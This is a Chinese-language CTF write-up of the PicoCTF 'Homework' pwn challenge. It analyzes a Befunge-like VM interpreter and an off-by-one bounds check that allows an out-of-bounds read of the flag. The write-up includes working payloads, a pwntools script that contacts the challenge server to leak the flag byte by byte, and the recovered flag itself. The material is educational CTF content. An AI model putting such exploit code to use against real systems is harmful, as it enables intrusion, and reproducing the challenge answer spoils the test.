PicoCTF homework wp:一次有趣代码虚拟化分析之旅
字数 1431 2025-08-24 07:48:09
PicoCTF Homework题目解析:代码虚拟化与越界读取漏洞利用
题目概述
这是一个来自PicoCTF的Pwn题目,难度为Hard。题目描述为"time to do some homework!",是一个典型的代码虚拟化分析挑战。
保护机制
- Arch: amd64-64-little
- RELRO: Partial RELRO
- Stack: No canary found
- NX: NX enabled
- PIE: PIE enabled
程序分析
main函数分析
int __fastcall main(int argc, const char **argv, const char **envp) {
int i; // [rsp+4h] [rbp-Ch]
FILE *stream; // [rsp+8h] [rbp-8h]
setvbuf(stdout, 0LL, 2, 0LL);
stream = fopen("flag.txt", "r");
__isoc99_fscanf(stream, "%s", &flag); // 保存flag到全局变量
fclose(stream);
puts("Enter homework sol");
rows = 50;
cols = 22;
// 接收最多4组输入,每组以R开头
for (i = 0; i <= 3 && fgets(&board[22 * i], cols + 1, stdin) && board[22 * i] != 'R'; ++i)
board[22 * i - 1 + strlen(&board[22 * i])] = 0;
// 执行虚拟指令
while ((unsigned int)step());
do_you_like_gittens = 1;
does_gittens_watch_cat_videos = 1;
return 0;
}
step函数分析
step函数是一个虚拟指令解释器,基于board数组中的指令进行操作:
__int64 step() {
int v1; // eax
switch (board[22 * pcy + pcx]) { // 根据当前指令执行操作
// 各种指令处理...
case '@': return 0LL; // 退出循环的条件
// 其他指令...
}
// 移动指令指针
pcx += cols + dirx;
pcx %= cols;
pcy += rows + diry;
pcy %= rows;
return 1LL;
}
虚拟指令集
| 指令 | 功能描述 |
|---|---|
| ! | 逻辑非运算 |
| $ | 弹出栈顶元素 |
| % | 取模运算 |
| * | 乘法运算 |
| + | 加法运算 |
| , | 输出字符 |
| - | 减法运算 |
| . | 输出数字 |
| / | 除法运算 |
| : | 复制栈顶元素 |
| < | 向左移动 |
| > | 向右移动 |
| @ | 退出程序 |
| \ | 交换栈顶两个元素 |
| ^ | 向上移动 |
| _ | 水平条件移动 |
| ` | 比较运算 |
| g | 从board读取字符 |
| p | 向board写入字符 |
| v | 向下移动 |
| | | 垂直条件移动 |
| 0 | 压入数字0 |
漏洞分析
关键数据结构布局
.bss段布局:
0x50A0: sn (栈指针)
0x50C0: stack[104] (栈空间)
0x5260: board[1100] (虚拟指令空间)
0x56AC: rows
0x56B0: cols
0x56B4: diry
0x56B8: pcx
0x56BC: pcy
0x56C0: do_you_like_gittens
0x56C4: does_gittens_watch_cat_videos
0x56E0: flag (flag存储位置)
漏洞点
-
边界检查不严格:在'g'指令中,虽然检查了
stack[sn-1] <= rows,但数组是从0开始索引的,所以当stack[sn-1] == rows时实际上已经越界 -
越界读取:通过修改rows值为较大值,可以越界读取flag内容
利用思路
-
修改rows值:利用'p'指令将rows修改为较大值(如0xff),绕过边界检查
-
计算flag位置:flag位于.bss段的0x56E0,board位于0x5260,偏移为(0x56E0-0x5260)/22 ≈ 52.36,即从第52行开始
-
逐字节读取flag:使用'g'指令从计算出的位置读取flag字符,并用','指令输出
利用步骤详解
1. 修改rows值
# 修改rows为0xff的payload
payload = b"00!g00!0!gp"
# 解释:
# 00 - 压入0
# ! - 取非(1)
# g - 读取board[1][0] (rows的低字节位置)
# 00 - 压入0
# ! - 取非(1)
# 0 - 压入0
# ! - 取非(1)
# g - 读取board[1][1] (rows的高字节位置)
# p - 写入board[0][0xff] (修改rows值)
2. 读取flag字符
# 读取flag字符的payload
payload = b"00!g00!0!gp0!:+0!gv"
# 后面跟上坐标和输出指令:
# \xff\x32 - 修改rows为0xff
# \x08\x34 - 要读取的坐标(52行8列)
# @,gg!0+!0+:!0< - 输出指令
3. 完整利用脚本
from pwn import *
context.log_level = "warn"
res = b""
for y in range(52, 55): # flag大约位于52-54行
for i in range(0, 24): # 每行最多22列
io = remote("mars.picoctf.net", 31689)
io.recvuntil(b"Enter homework sol\n")
io.sendline(b"00!g00!0!gp0!:+0!gv")
io.sendline(b"\xff\x32" + bytes([i, y]) + b" " + b"@,gg!0+!0+:!0<")
io.sendline(b"R")
tmp = io.clean(5)
if b"run" in tmp or b"\x00" in tmp:
io.close()
continue
if tmp == b"":
tmp = b"?"
res += tmp
print(res)
io.close()
4. 处理特殊字符
对于包含换行符(0x0a)的字符需要特殊处理:
# 读取包含换行符的字符
io = remote("mars.picoctf.net", 31689)
io.recvuntil(b"Enter homework sol\n")
io.sendline(b"00!g00!0!gp0!:+0!gv")
io.sendline(b"\xff\x32\x09\x34" + b" " * 10 + b"v+!0<") # 0x09是列,0x34是行(52)
io.sendline(b" @,gg!0+!0+:!0<")
io.sendline(b"R")
io.interactive()
最终结果
通过上述方法,最终获取到的flag为:
picoCTF{good_job_full_score_X7OIj4HI903RG2YO}
总结与知识点
- 代码虚拟化分析:理解虚拟指令集的行为是关键
- 内存布局分析:通过逆向确定全局变量布局
- 边界条件利用:数组索引从0开始但边界检查使用<=导致越界
- 数据流控制:通过精心构造的输入控制程序执行流
- 特殊字符处理:注意输入中的特殊字符(如换行符)可能影响程序行为
扩展知识
该题目实际上是基于Befunge编程语言设计的,这是一种基于栈的二维编程语言,具有以下特点:
- 指令指针可以在二维空间中移动
- 使用栈进行数据存储和操作
- 具有条件分支和循环结构
- 支持I/O操作
理解这些特性有助于更好地分析类似的代码虚拟化题目。